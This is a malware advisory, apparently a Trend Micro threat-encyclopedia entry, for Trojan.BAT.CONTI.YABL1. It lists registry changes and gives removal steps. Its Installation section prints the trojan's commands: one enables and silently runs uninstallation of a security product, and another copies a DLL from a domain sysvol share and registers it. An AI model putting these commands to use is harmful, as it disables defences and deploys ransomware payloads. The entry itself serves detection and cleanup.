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Trojan.BAT.CONTI.YABL1

December 30, 2021
 Analysis by: Nathaniel Gregory Ragasa
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

387 bytes

File Type:

BAT

Memory Resident:

No

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • reg add "HKLM\SOFTWARE\Wow6432Node\TrendMicro\PC-cillinNTCorp\CurrentVersion\Misc." /v "Allow Uninstall" /t REG_DWORD /d 1 /f
  • msiexec.exe /x {1841AFE1-4BA7-44D4-8700-6ACF860A8ED1} /QN /norestart
  • regsvr32.exe /s C:\Windows\tamp.dll
  • xcopy /C/Q/H/Y/Z "\grup{BLOCKED}.com\sysvol\grup{BLOCKED}.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Scripts\Startup\tamp.dll" "C:\Windows\"

Other System Modifications

This Trojan adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\
TrendMicro\PC-cillinNTCorp\CurrentVersion\
Misc.
Allow Uninstall = 1

Other Details

This Trojan adds the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\
TrendMicro

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\
TrendMicro\PC-cillinNTCorp

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\
TrendMicro\PC-cillinNTCorp\CurrentVersion

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\
TrendMicro\PC-cillinNTCorp\CurrentVersion\
Misc.

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

17.280.01

FIRST VSAPI PATTERN DATE:

27 Dec 2021

VSAPI OPR PATTERN File:

17.281.00

VSAPI OPR PATTERN Date:

28 Dec 2021

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\TrendMicro\PC-cillinNTCorp\CurrentVersion\Misc.
    • Allow Uninstall = 1

Step 4

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\TrendMicro\PC-cillinNTCorp\CurrentVersion\
    • Misc.
  • In HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\TrendMicro\PC-cillinNTCorp\
    • CurrentVersion
  • In HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\TrendMicro\
    • PC-cillinNTCorp

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.CONTI.YABL1. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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